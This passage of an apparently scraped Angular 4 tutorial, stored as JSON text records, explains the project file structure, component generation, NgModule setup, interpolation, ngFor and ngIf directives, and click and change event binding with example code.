the services created. The service will be discussed in a subsequent chapter." }, { "code": null, "e": 15405, "s": 15320, "text": "bootstrap − This has reference to the default component created, i.e., AppComponent." }, { "code": null, "e": 15542, "s": 15405, "text": "app.component.css − You can write your css structure over here. Right now, we have added the background color to the div as shown below." }, { "code": null, "e": 15679, "s": 15542, "text": "app.component.css − You can write your css structure over here. Right now, we have added the background color to the div as shown below." }, { "code": null, "e": 15722, "s": 15679, "text": ".divdetails{\n background-color: #ccc;\n}\n" }, { "code": null, "e": 15789, "s": 15722, "text": "app.component.html − The html code will be available in this file." }, { "code": null, "e": 15856, "s": 15789, "text": "app.component.html − The html code will be available in this file." }, { "code": null, "e": 17952, "s": 15856, "text": "<!--The content below is only a placeholder and can be replaced.-->\n<div class = \"divdetails\">\n <div style = \"text-align:center\">\n <h1>\n Welcome to {{title}}!\n </h1>\n <img width = \"300\" src = \"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNv\n ZGluZz0idXRmLTgiPz4NCjwhLS0gR2VuZXJhdG9yOiBBZG9iZSBJbGx1c3RyYXRvciAxOS4xLjAsIFNWRyBFe\n HBvcnQgUGx1Zy1JbiAuIFNWRyBWZXJzaW9uOiA2LjAwIEJ1aWxkIDApICAtLT4NCjxzdmcgdmVyc2lvbj0iMS4\n xIiBpZD0iTGF5ZXJfMSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaH\n R0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgeD0iMHB4IiB5PSIwcHgiDQoJIHZpZXdCb3g9IjAgMCAyNTAg\n MjUwIiBzdHlsZT0iZW5hYmxlLWJhY2tncm91bmQ6bmV3IDAgMCAyNTAgMjUwOyIgeG1sOnNwYWNlPSJwcmVzZXJ2\n ZSI+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KCS5zdDB7ZmlsbDojREQwMDMxO30NCgkuc3Qxe2ZpbGw6I0M\n zMDAyRjt9DQoJLnN0MntmaWxsOiNGRkZGRkY7fQ0KPC9zdHlsZT4NCjxnPg0KCTxwb2x5Z29uIGNsYXNzPSJzdD\n AiIHBvaW50cz0iMTI1LDMwIDEyNSwzMCAxMjUsMzAgMzEuOSw2My4yIDQ2LjEsMTg2LjMgMTI1LDIzMCAxMjUsMj\n MwIDEyNSwyMzAgMjAzLjksMTg2LjMgMjE4LjEsNjMuMiAJIi8+DQoJPHBvbHlnb24gY2xhc3M9InN0MSIgcG9pbn\n RzPSIxMjUsMzAgMTI1LDUyLjIgMTI1LDUyLjEgMTI1LDE1My40IDEyNSwxNTMuNCAxMjUsMjMwIDEyNSwyMzAgMj\n AzLjksMTg2LjMgMjE4LjEsNjMuMiAxMjUsMzAgCSIvPg0KCTxwYXRoIGNsYXNzPSJzdDIiIGQ9Ik0xMjUsNTIuMU\n w2Ni44LDE4Mi42aDBoMjEuN2gwbDExLjctMjkuMmg0OS40bDExLjcsMjkuMmgwaDIxLjdoMEwxMjUsNTIuMUwxMj\n UsNTIuMUwxMjUsNTIuMUwxMjUsNTIuMQ0KCQlMMTI1LDUyLjF6IE0xNDIsMTM1LjRIMTA4bDE3LTQwLjlMMTQyLD\n EzNS40eiIvPg0KPC9nPg0KPC9zdmc+DQo=\">\n </div>\n <h2>Here are some links to help you start: </h2>\n <ul>\n <li>\n <h2>\n <a target = \"_blank\" href=\"https://angular.io/tutorial\">Tour of Heroes</a>\n </h2>\n </li>\n <li>\n <h2>\n <a target = \"_blank\" href = \"https://github.com/angular/angular-cli/wiki\">\n CLI Documentation\n </a>\n </h2>\n </li>\n <li>\n <h2>\n <a target=\"_blank\" href=\"http://angularjs.blogspot.ca/\">Angular blog</a>\n </h2>\n </li>\n </ul>\n</div>" }, { "code": null, "e": 18029, "s": 17952, "text": "This is the default html code currently available with the project creation." }, { "code": null, "e": 18140, "s": 18029, "text": "app.component.spec.ts − These are automatically generated files which contain unit tests for source component." }, { "code": null, "e": 18251, "s": 18140, "text": "app.component.spec.ts − These are automatically generated files which contain unit tests for source component." }, { "code": null, "e": 18519, "s": 18251, "text": "app.component.ts − The class for the component is defined over here. You can do the processing of the html structure in the .ts file. The processing will include activities such as connecting to the database, interacting with other components, routing, services, etc." }, { "code": null, "e": 18787, "s": 18519, "text": "app.component.ts − The class for the component is defined over here. You can do the processing of the html structure in the .ts file. The processing will include activities such as connecting to the database, interacting with other components, routing, services, etc." }, { "code": null, "e": 18829, "s": 18787, "text": "The structure of the file is as follows −" }, { "code": null, "e": 19041, "s": 18829, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\nexport class AppComponent {\n title = 'app';\n}\n" }, { "code": null, "e": 19092, "s": 19041, "text": "You can save your images, js files in this folder." }, { "code": null, "e": 19194, "s": 19092, "text": "This folder has the details for the production or the dev environment. The folder contains two files." }, { "code": null, "e": 19214, "s": 19194, "text": "environment.prod.ts" }, { "code": null, "e": 19229, "s": 19214, "text": "environment.ts" }, { "code": null, "e": 19356, "s": 19229, "text": "Both the files have details of whether the final file should be compiled in the production environment or the dev environment." }, { "code": null, "e": 19435, "s": 19356, "text": "The additional file structure of Angular 4 app folder includes the following −" }, { "code": null, "e": 19508, "s": 19435, "text": "This is a file that is usually found in the root directory of a website." }, { "code": null, "e": 19560, "s": 19508, "text": "This is the file which is displayed in the browser." }, { "code": null, "e": 20185, "s": 19560, "text": "<!doctype html>\n<html lang = \"en\">\n <head>\n <meta charset = \"utf-8\">\n <title>HTTP Search Param</title>\n <base href = \"/\">\n <link href = \"https://fonts.googleapis.com/icon?family=Material+Icons\" rel=\"stylesheet\">\n <link href = \"https://fonts.googleapis.com/css?family=Roboto|Roboto+Mono\" rel=\"stylesheet\">\n <link href = \"styles.c7c7b8bf22964ff954d3.bundle.css\" rel=\"stylesheet\">\n <meta name = \"viewport\" content=\"width=device-width, initial-scale=1\">\n <link rel = \"icon\" type=\"image/x-icon\" href=\"favicon.ico\">\n </head>\n \n <body>\n <app-root></app-root>\n </body>\n</html>\n" }, { "code": null, "e": 20340, "s": 20185, "text": "The body has <app-root></app-root>. This is the selector which is used in app.component.ts file and will display the details from app.component.html file." }, { "code": null, "e": 20632, "s": 20340, "text": "main.ts is the file from where we start our project development. It starts with importing the basic module which we need. Right now if you see angular/core, angular/platform-browser-dynamic, app.module and environment is imported by default during angular-cli installation and project setup." }, { "code": null, "e": 20969, "s": 20632, "text": "import { enableProdMode } from '@angular/core';\nimport { platformBrowserDynamic } from '@angular/platform-browser-dynamic';\n\nimport { AppModule } from './app/app.module';\nimport { environment } from './environments/environment';\n\nif (environment.production) {\n enableProdMode();\n}\nplatformBrowserDynamic().bootstrapModule(AppModule);\n" }, { "code": null, "e": 21269, "s": 20969, "text": "The platformBrowserDynamic().bootstrapModule(AppModule) has the parent module reference AppModule. Hence, when it executes in the browser, the file that is called is index.html. Index.html internally refers to main.ts which calls the parent module, i.e., AppModule when the following code executes −" }, { "code": null, "e": 21323, "s": 21269, "text": "platformBrowserDynamic().bootstrapModule(AppModule);\n" }, { "code": null, "e": 21444, "s": 21323, "text": "When AppModule is called, it calls app.module.ts which further calls the AppComponent based on the boostrap as follows −" }, { "code": null, "e": 21471, "s": 21444, "text": "bootstrap: [AppComponent]\n" }, { "code": null, "e": 21622, "s": 21471, "text": "In app.component.ts, there is a selector: app-root which is used in the index.html file. This will display the contents present in app.component.html." }, { "code": null, "e": 21671, "s": 21622, "text": "The following will be displayed in the browser −" }, { "code": null, "e": 21719, "s": 21671, "text": "This is mainly used for backward compatibility." }, { "code": null, "e": 21768, "s": 21719, "text": "This is the style file required for the project." }, { "code": null, "e": 21835, "s": 21768, "text": "Here, the unit test cases for testing the project will be handled." }, { "code": null, "e": 21939, "s": 21835, "text": "This is used during compilation, it has the config details that need to be used to run the application." }, { "code": null, "e": 21984, "s": 21939, "text": "This helps maintain the details for testing." }, { "code": null, "e": 22032, "s": 21984, "text": "It is used to manage the TypeScript definition." }, { "code": null, "e": 22076, "s": 22032, "text": "The final file structure looks as follows −" }, { "code": null, "e": 22417, "s": 22076, "text": "Major part of the development with Angular 4 is done in the components. Components are basically classes that interact with the .html file of the component, which gets displayed on the browser. We have seen the file structure in one of our previous chapters. The file structure has the app component and it consists of the following files −" }, { "code": null, "e": 22435, "s": 22417, "text": "app.component.css" }, { "code": null, "e": 22453, "s": 22435, "text": "app.component.css" }, { "code": null, "e": 22472, "s": 22453, "text": "app.component.html" }, { "code": null, "e": 22491, "s": 22472, "text": "app.component.html" }, { "code": null, "e": 22513, "s": 22491, "text": "app.component.spec.ts" }, { "code": null, "e": 22535, "s": 22513, "text": "app.component.spec.ts" }, { "code": null, "e": 22552, "s": 22535, "text": "app.component.ts" }, { "code": null, "e": 22569, "s": 22552, "text": "app.component.ts" }, { "code": null, "e": 22583, "s": 22569, "text": "app.module.ts" }, { "code": null, "e": 22597, "s": 22583, "text": "app.module.ts" }, { "code": null, "e": 22696, "s": 22597, "text": "The above files were created by default when we created new project using the angular-cli command." }, { "code": null, "e": 22847, "s": 22696, "text": "If you open up the app.module.ts file, it has some libraries which are imported and also a declarative which is assigned the appcomponent as follows −" }, { "code": null, "e": 23172, "s": 22847, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { AppComponent } from './app.component';\n\n@NgModule({\n declarations: [\n AppComponent\n ],\n imports: [\n BrowserModule\n ],\n providers: [],\n bootstrap: [AppComponent]\n})\n\nexport class AppModule { }\n" }, { "code": null, "e": 23291, "s": 23172, "text": "The declarations include the AppComponent variable, which we have already imported. This becomes the parent component." }, { "code": null, "e": 23501, "s": 23291, "text": "Now, angular-cli has a command to create your own component. However, the app component which is created by default will always remain the parent and the next components created will form the child components." }, { "code": null, "e": 23553, "s": 23501, "text": "Let us now run the command to create the component." }, { "code": null, "e": 23577, "s": 23553, "text": "ng g component new-cmp\n" }, { "code": null, "e": 23669, "s": 23577, "text": "When you run the above command in the command line, you will receive the following output −" }, { "code": null, "e": 23969, "s": 23669, "text": "C:\\projectA4\\Angular 4-app>ng g component new-cmp\ninstalling component\n create src\\app\\new-cmp\\new-cmp.component.css\n create src\\app\\new-cmp\\new-cmp.component.html\n create src\\app\\new-cmp\\new-cmp.component.spec.ts\n create src\\app\\new-cmp\\new-cmp.component.ts\n update src\\app\\app.module.ts\n" }, { "code": null, "e": 24082, "s": 23969, "text": "Now, if we go and check the file structure, we will get the new-cmp new folder created under the src/app folder." }, { "code": null, "e": 24138, "s": 24082, "text": "The following files are created in the new-cmp folder −" }, { "code": null, "e": 24205, "s": 24138, "text": "new-cmp.component.css − css file for the new component is created." }, { "code": null, "e": 24272, "s": 24205, "text": "new-cmp.component.css − css file for the new component is created." }, { "code": null, "e": 24319, "s": 24272, "text": "new-cmp.component.html − html file is created." }, { "code": null, "e": 24366, "s": 24319, "text": "new-cmp.component.html − html file is created." }, { "code": null, "e": 24429, "s": 24366, "text": "new-cmp.component.spec.ts − this can be used for unit testing." }, { "code": null, "e": 24492, "s": 24429, "text": "new-cmp.component.spec.ts − this can be used for unit testing." }, { "code": null, "e": 24564, "s": 24492, "text": "new-cmp.component.ts − here, we can define the module, properties, etc." }, { "code": null, "e": 24636, "s": 24564, "text": "new-cmp.component.ts − here, we can define the module, properties, etc." }, { "code": null, "e": 24693, "s": 24636, "text": "Changes are added to the app.module.ts file as follows −" }, { "code": null, "e": 25287, "s": 24693, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { AppComponent } from './app.component';\nimport { NewCmpComponent } from './new-cmp/new-cmp.component';\n// includes the new-cmp component we created\n\n@NgModule({\n declarations: [\n AppComponent,\n NewCmpComponent // here it is added in declarations and will behave as a child component\n ],\n imports: [\n BrowserModule\n ],\n providers: [],\n bootstrap: [AppComponent] //for bootstrap the AppComponent the main app component is given.\n})\n\nexport class AppModule { }" }, { "code": null, "e": 25343, "s": 25287, "text": "The new-cmp.component.ts file is generated as follows −" }, { "code": null, "e": 25858, "s": 25343, "text": "import { Component, OnInit } from '@angular/core'; // here angular/core is imported .\n\n@Component({\n // this is a declarator which starts with @ sign. The component word marked in bold needs to be the same.\n selector: 'app-new-cmp', //\n templateUrl: './new-cmp.component.html', \n // reference to the html file created in the new component.\n styleUrls: ['./new-cmp.component.css'] // reference to the style file.\n})\n\nexport class NewCmpComponent implements OnInit {\n constructor() { }\n ngOnInit() {}\n}" }, { "code": null, "e": 26095, "s": 25858, "text": "If you see the above new-cmp.component.ts file, it creates a new class called NewCmpComponent, which implements OnInit.In, which has a constructor and a method called ngOnInit(). ngOnInit is called by default when the class is executed." }, { "code": null, "e": 26265, "s": 26095, "text": "Let us check how the flow works. Now, the app component, which is created by default becomes the parent component. Any component added later becomes the child component." }, { "code": null, "e": 26385, "s": 26265, "text": "When we hit the url in the http://localhost:4200/ browser, it first executes the index.html file which is shown below −" }, { "code": null, "e": 26739, "s": 26385, "text": "<!doctype html>\n<html lang = \"en\">\n <head>\n <meta charset = \"utf-8\">\n <title>Angular 4App</title>\n <base href = \"/\">\n <meta name=\"viewport\" content=\"width = device-width, initial-scale = 1\">\n <link rel = \"icon\" type = \"image/x-icon\" href = \"favicon.ico\">\n </head>\n \n <body>\n <app-root></app-root>\n </body>\n</html>" }, { "code": null, "e": 26876, "s": 26739, "text": "The above is the normal html file and we do not see anything that is printed in the browser. Take a look at the tag in the body section." }, { "code": null, "e": 26899, "s": 26876, "text": "<app-root></app-root>\n" }, { "code": null, "e": 27003, "s": 26899, "text": "This is the root tag created by the Angular by default. This tag has the reference in the main.ts file." }, { "code": null, "e": 27339, "s": 27003, "text": "import { enableProdMode } from '@angular/core';\nimport { platformBrowserDynamic } from '@angular/platform-browser-dynamic';\nimport { AppModule } from './app/app.module';\nimport { environment } from './environments/environment';\n\nif (environment.production) {\n enableProdMode();\n}\n\nplatformBrowserDynamic().bootstrapModule(AppModule);" }, { "code": null, "e": 27480, "s": 27339, "text": "AppModule is imported from the app of the main parent module, and the same is given to the bootstrap Module, which makes the appmodule load." }, { "code": null, "e": 27520, "s": 27480, "text": "Let us now see the app.module.ts file −" }, { "code": null, "e": 27930, "s": 27520, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { AppComponent } from './app.component';\nimport { NewCmpComponent } from './new-cmp/new-cmp.component';\n\n@NgModule({\n declarations: [\n AppComponent,\n NewCmpComponent\n ],\n imports: [\n BrowserModule\n ],\n providers: [],\n bootstrap: [AppComponent]\n})\n\nexport class AppModule { }" }, { "code": null, "e": 28121, "s": 27930, "text": "Here, the AppComponent is the name given, i.e., the variable to store the reference of the app. Component.ts and the same is given to the bootstrap. Let us now see the app.component.ts file." }, { "code": null, "e": 28348, "s": 28121, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n}" }, { "code": null, "e": 28447, "s": 28348, "text": "Angular core is imported and referred as the Component and the same is used in the Declarator as −" }, { "code": null, "e": 28567, "s": 28447, "text": "@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n" }, { "code": null, "e": 28747, "s": 28567, "text": "In the declarator reference to the selector, templateUrl and styleUrl are given. The selector here is nothing but the tag which is placed in the index.html file that we saw above." }, { "code": null, "e": 28834, "s": 28747, "text": "The class AppComponent has a variable called title, which is displayed in the browser." }, { "code": null, "e": 28918, "s": 28834, "text": "The @Component uses the templateUrl called app.component.html which is as follows −" }, { "code": null, "e": 29071, "s": 28918, "text": "<!--The content below is only a placeholder and can be replaced.-->\n<div style=\"text-align:center\">\n <h1>\n Welcome to {{title}}.\n </h1>\n</div>\n" }, { "code": null, "e": 29307, "s": 29071, "text": "It has just the html code and the variable title in curly brackets. It gets replaced with the value, which is present in the app.component.ts file. This is called binding. We will discuss the concept of binding in a subsequent chapter." }, { "code": null, "e": 29468, "s": 29307, "text": "Now that we have created a new component called new-cmp. The same gets included in the app.module.ts file, when the command is run for creating a new component." }, { "code": null, "e": 29528, "s": 29468, "text": "app.module.ts has a reference to the new component created." }, { "code": null, "e": 29579, "s": 29528, "text": "Let us now check the new files created in new-cmp." }, { "code": null, "e": 29851, "s": 29579, "text": "import { Component, OnInit } from '@angular/core';\n@Component({\n selector: 'app-new-cmp',\n templateUrl: './new-cmp.component.html',\n styleUrls: ['./new-cmp.component.css']\n})\n\nexport class NewCmpComponent implements OnInit {\n constructor() { }\n ngOnInit() {}\n}\n" }, { "code": null, "e": 29947, "s": 29851, "text": "Here, we have to import the core too. The reference of the component is used in the declarator." }, { "code": null, "e": 30032, "s": 29947, "text": "The declarator has the selector called app-new-cmp and the templateUrl and styleUrl." }, { "code": null, "e": 30088, "s": 30032, "text": "The .html called new-cmp.component.html is as follows −" }, { "code": null, "e": 30116, "s": 30088, "text": "<p>\n new-cmp works!\n</p>\n" }, { "code": null, "e": 30424, "s": 30116, "text": "As seen above, we have the html code, i.e., the p tag. The style file is empty as we do not need any styling at present. But when we run the project, we do not see anything related to the new component getting displayed in the browser. Let us now add something and the same can be seen in the browser later." }, { "code": null, "e": 30519, "s": 30424, "text": "The selector, i.e., app-new-cmp needs to be added in the app.component .html file as follows −" }, { "code": null, "e": 30701, "s": 30519, "text": "<!--The content below is only a placeholder and can be replaced.-->\n<div style=\"text-align:center\">\n <h1>\n Welcome to {{title}}.\n </h1>\n</div>\n\n<app-new-cmp></app-new-cmp>\n" }, { "code": null, "e": 30891, "s": 30701, "text": "When the <app-new-cmp></app-new-cmp> tag is added, all that is present in the .html file of the new component created will get displayed on the browser along with the parent component data." }, { "code": null, "e": 30966, "s": 30891, "text": "Let us see the new component .html file and the new-cmp.component.ts file." }, { "code": null, "e": 31293, "s": 30966, "text": "import { Component, OnInit } from '@angular/core';\n\n@Component({\n selector: 'app-new-cmp',\n templateUrl: './new-cmp.component.html',\n styleUrls: ['./new-cmp.component.css']\n})\n\nexport class NewCmpComponent implements OnInit {\n newcomponent = \"Entered in new component created\";\n constructor() {}\n ngOnInit() { }\n}\n" }, { "code": null, "e": 31408, "s": 31293, "text": "In the class, we have added one variable called new component and the value is “Entered in new component created”." }, { "code": null, "e": 31485, "s": 31408, "text": "The above variable is bound in the .new-cmp.component.html file as follows −" }, { "code": null, "e": 31543, "s": 31485, "text": "<p>\n {{newcomponent}}\n</p>\n\n<p>\n new-cmp works!\n</p>\n" }, { "code": null, "e": 31803, "s": 31543, "text": "Now since we have included the <app-new-cmp></app-new-cmp> selector in the app. component .html which is the .html of the parent component, the content present in the new component .html file (new-cmp.component.html) gets displayed on the browser as follows −" }, { "code": null, "e": 31932, "s": 31803, "text": "Similarly, we can create components and link the same using the selector in the app.component.html file as per our requirements." }, { "code": null, "e": 32075, "s": 31932, "text": "Module in Angular refers to a place where you can group the components, directives, pipes, and services, which are related to the application." }, { "code": null, "e": 32193, "s": 32075, "text": "In case you are developing a website, the header, footer, left, center and the right section become part of a module." }, { "code": null, "e": 32385, "s": 32193, "text": "To define module, we can use the NgModule. When you create a new project using the Angular –cli command, the ngmodule is created in the app.module.ts file by default and it looks as follows −" }, { "code": null, "e": 32709, "s": 32385, "text": "import { BrowserModule } from '@angular/platform-browser';\nimport { NgModule } from '@angular/core';\nimport { AppComponent } from './app.component';\n\n@NgModule({\n declarations: [\n AppComponent\n ],\n imports: [\n BrowserModule\n ],\n providers: [],\n bootstrap: [AppComponent]\n})\n\nexport class AppModule { }" }, { "code": null, "e": 32756, "s": 32709, "text": "The NgModule needs to be imported as follows −" }, { "code": null, "e": 32799, "s": 32756, "text": "import { NgModule } from '@angular/core';\n" }, { "code": null, "e": 32850, "s": 32799, "text": "The structure for the ngmodule is as shown below −" }, { "code": null, "e": 32996, "s": 32850, "text": "@NgModule({\n declarations: [\n AppComponent\n ],\n imports: [\n BrowserModule\n ],\n providers: [],\n bootstrap: [AppComponent]\n})" }, { "code": null, "e": 33103, "s": 32996, "text": "It starts with @NgModule and contains an object which has declarations, import s, providers and bootstrap." }, { "code": null, "e": 33270, "s": 33103, "text": "It is an array of components created. If any new component gets created, it will be imported first and the reference will be included in declarations as shown below −" }, { "code": null, "e": 33325, "s": 33270, "text": "declarations: [\n AppComponent,\n NewCmpComponent\n]\n" }, { "code": null, "e": 33609, "s": 33325, "text": "It is an array of modules required to be used in the application. It can also be used by the components in the Declaration array. For example, right now in the @NgModule we see the Browser Module imported. In case your application needs forms, you can include the module as follows −" }, { "code": null, "e": 33656, "s": 33609, "text": "import { FormsModule } from '@angular/forms';\n" }, { "code": null, "e": 33713, "s": 33656, "text": "The import in the @NgModule will be like the following −" }, { "code": null, "e": 33760, "s": 33713, "text": "imports: [\n BrowserModule,\n FormsModule\n]\n" }, { "code": null, "e": 33800, "s": 33760, "text": "This will include the services created." }, { "code": null, "e": 33865, "s": 33800, "text": "This includes the main app component for starting the execution." }, { "code": null, "e": 34183, "s": 33865, "text": "Data Binding is available right from AngularJS, Angular 2 and is now available in Angular 4 as well. We use curly braces for data binding - {{}}; this process is called interpolation. We have already seen in our previous examples how we declared the value to the variable title and the same is printed in the browser." }, { "code": null, "e": 34370, "s": 34183, "text": "The variable in the app.component.html file is referred as {{title}} and the value of title is initialized in the app.component.ts file and in app.component.html, the value is displayed." }, { "code": null, "e": 34506, "s": 34370, "text": "Let us now create a dropdown of months in the browser. To do that , we have created an array of months in app.component.ts as follows −" }, { "code": null, "e": 34925, "s": 34506, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\nexport class AppComponent {\n title = 'Angular 4 Project!';\n // declared array of months.\n months = [\"January\", \"Feburary\", \"March\", \"April\", \"May\", \n \"June\", \"July\", \"August\", \"September\",\n \"October\", \"November\", \"December\"];\n}" }, { "code": null, "e": 35063, "s": 34925, "text": "The month’s array that is shown above is to be displayed in a dropdown in the browser. For this, we will use the following line of code −" }, { "code": null, "e": 35318, "s": 35063, "text": "<!--The content below is only a placeholder and can be replaced. -->\n<div style=\"text-align:center\">\n <h1>\n Welcome to {{title}}.\n </h1>\n</div>\n\n<div> Months :\n <select>\n <option *ngFor=\"let i of months\">{{i}}</option>\n </select>\n</div>" }, { "code": null, "e": 35542, "s": 35318, "text": "We have created the normal select tag with option. In option, we have used the for loop. The for loop is used to iterate over the months’ array, which in turn will create the option tag with the value present in the months." }, { "code": null, "e": 35660, "s": 35542, "text": "The syntax for in Angular is *ngFor = “let I of months” and to get the value of months we are displaying it in {{i}}." }, { "code": null, "e": 35819, "s": 35660, "text": "The two curly brackets help with data binding. You declare the variables in your app.component.ts file and the same will be replaced using the curly brackets." }, { "code": null, "e": 35883, "s": 35819, "text": "Let us see the output of the above month’s array in the browser" }, { "code": null, "e": 36018, "s": 35883, "text": "The variable that is set in the app.component.ts can be bound with the app.component.html using the curly brackets; for example, {{}}." }, { "code": null, "e": 36214, "s": 36018, "text": "Let us now display the data in the browser based on condition. Here, we have added a variable and assigned the value as true. Using the if statement, we can hide/show the content to be displayed." }, { "code": null, "e": 36674, "s": 36214, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n //array of months.\n months = [\"January\", \"February\", \"March\", \"April\",\n \"May\", \"June\", \"July\", \"August\", \"September\",\n \"October\", \"November\", \"December\"];\n isavailable = true; //variable is set to true\n}" }, { "code": null, "e": 37168, "s": 36674, "text": "<!--The content below is only a placeholder and can be replaced.-->\n<div style = \"text-align:center\">\n <h1>\n Welcome to {{title}}.\n </h1>\n</div>\n\n<div> Months :\n <select>\n <option *ngFor = \"let i of months\">{{i}}</option>\n </select>\n</div>\n<br/>\n\n<div>\n <span *ngIf = \"isavailable\">Condition is valid.</span> \n //over here based on if condition the text condition is valid is displayed. \n If the value of isavailable is set to false it will not display the text.\n</div>" }, { "code": null, "e": 37231, "s": 37168, "text": "Let us try the above example using the IF THEN ELSE condition." }, { "code": null, "e": 37664, "s": 37231, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n //array of months.\n months = [\"January\", \"February\", \"March\", \"April\",\n \"May\", \"June\", \"July\", \"August\", \"September\",\n \"October\", \"November\", \"December\"];\n isavailable = false;\n}" }, { "code": null, "e": 37807, "s": 37664, "text": "In this case, we have made the isavailable variable as false. To print the else condition, we will have to create the ng-template as follows −" }, { "code": null, "e": 37868, "s": 37807, "text": "<ng-template #condition1>Condition is invalid</ng-template>\n" }, { "code": null, "e": 37900, "s": 37868, "text": "The full code looks like this −" }, { "code": null, "e": 38310, "s": 37900, "text": "<!--The content below is only a placeholder and can be replaced.-->\n<div style=\"text-align:center\">\n <h1>\n Welcome to {{title}}.\n </h1>\n</div>\n\n<div> Months :\n <select>\n <option *ngFor=\"let i of months\">{{i}}</option>\n </select>\n</div>\n<br/>\n\n<div>\n <span *ngIf=\"isavailable; else condition1\">Condition is valid.</span>\n <ng-template #condition1>Condition is invalid</ng-template>\n</div>" }, { "code": null, "e": 38524, "s": 38310, "text": "If is used with the else condition and the variable used is condition1. The same is assigned as an id to the ng-template, and when the available variable is set to false the text Condition is invalid is displayed." }, { "code": null, "e": 38583, "s": 38524, "text": "The following screenshot shows the display in the browser." }, { "code": null, "e": 38626, "s": 38583, "text": "Let us now use the if then else condition." }, { "code": null, "e": 39058, "s": 38626, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n //array of months.\n months = [\"January\", \"February\", \"March\", \"April\",\n \"May\", \"June\", \"July\", \"August\", \"September\",\n \"October\", \"November\", \"December\"];\n isavailable = true;\n}" }, { "code": null, "e": 39171, "s": 39058, "text": "Now, we will make the variable isavailable as true. In the html, the condition is written in the following way −" }, { "code": null, "e": 39655, "s": 39171, "text": "<!--The content below is only a placeholder and can be replaced.-->\n<div style=\"text-align:center\">\n <h1>\n Welcome to {{title}}.\n </h1>\n</div>\n\n<div> Months :\n <select>\n <option *ngFor=\"let i of months\">{{i}}</option>\n </select>\n</div>\n<br/>\n\n<div>\n <span *ngIf=\"isavailable; then condition1 else condition2\">Condition is valid.</span>\n <ng-template #condition1>Condition is valid</ng-template>\n <ng-template #condition2>Condition is invalid</ng-template>\n</div>" }, { "code": null, "e": 39782, "s": 39655, "text": "If the variable is true, then condition1, else condition2. Now, two templates are created with id #condition1 and #condition2." }, { "code": null, "e": 39825, "s": 39782, "text": "The display in the browser is as follows −" }, { "code": null, "e": 40140, "s": 39825, "text": "In this chapter, we will discuss how Event Binding works in Angular 4. When a user interacts with an application in the form of a keyboard movement, a mouse click, or a mouseover, it generates an event. These events need to be handled to perform some kind of action. This is where event binding comes into picture." }, { "code": null, "e": 40194, "s": 40140, "text": "Let us consider an example to understand this better." }, { "code": null, "e": 40763, "s": 40194, "text": "<!--The content below is only a placeholder and can be replaced.-->\n<div style = \"text-align:center\">\n <h1>\n Welcome to {{title}}.\n </h1>\n</div>\n\n<div> Months :\n <select>\n <option *ngFor = \"let i of months\">{{i}}</option>\n </select>\n</div>\n<br/>\n\n<div>\n <span *ngIf = \"isavailable; then condition1 else condition2\">\n Condition is valid.\n </span>\n <ng-template #condition1>Condition is valid</ng-template>\n <ng-template #condition2>Condition is invalid</ng-template>\n</div>\n<button (click)=\"myClickFunction($event)\">\n Click Me\n</button>" }, { "code": null, "e": 40870, "s": 40763, "text": "In the app.component.html file, we have defined a button and added a function to it using the click event." }, { "code": null, "e": 40939, "s": 40870, "text": "Following is the syntax to define a button and add a function to it." }, { "code": null, "e": 40974, "s": 40939, "text": "(click)=\"myClickFunction($event)\"\n" }, { "code": null, "e": 41033, "s": 40974, "text": "The function is defined in the .ts file: app.component.ts\n" }, { "code": null, "e": 41650, "s": 41033, "text": "import { Component } from '@angular/core';\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\n\nexport class AppComponent {\n title = 'Angular 4 Project!';\n //array of months.\n months = [\"January\", \"Feburary\", \"March\", \"April\",\n \"May\", \"June\", \"July\", \"August\", \"September\",\n \"October\", \"November\", \"December\"];\n isavailable = true;\n myClickFunction(event) { \n //just added console.log which will display the event details in browser on click of the button.\n alert(\"Button is clicked\");\n console.log(event);\n }\n}" }, { "code": null, "e": 41836, "s": 41650, "text": "Upon clicking the button, the control will come to the function myClickFunction and a dialog box will appear, which displays the Button is clicked as shown in the following screenshot −" }, { "code": null, "e": 41885, "s": 41836, "text": "Let us now add the change event to the dropdown." }, { "code": null, "e": 41965, "s": 41885, "text": "The following line of code will help you add the change event to the dropdown −" }, { "code": null, "e": 42566, "s": 41965, "text": "<!--The content below is only a placeholder and can be replaced.-->\n<div style = \"text-align:center\">\n <h1>\n Welcome to {{title}}.\n </h1>\n</div>\n\n<div> Months :\n <select (change) = \"changemonths($event)\">\n <option *ngFor = \"let i of months\">{{i}}</option>\n </select>\n</div>\n<br/>\n\n<div>\n <span *ngIf = \"isavailable; then condition1 else condition2\">\n Condition is valid.\n </span>\n <ng-template #condition1>Condition is valid</ng-template>\n <ng-template #condition2>Condition is invalid</ng-template>\n</div>\n\n<button (click) = \"myClickFunction($event)\">Click Me</button>" }, { "code": null, "e": 42622, "s": 42566, "text": "The function is declared in the app.component.ts file −" }, { 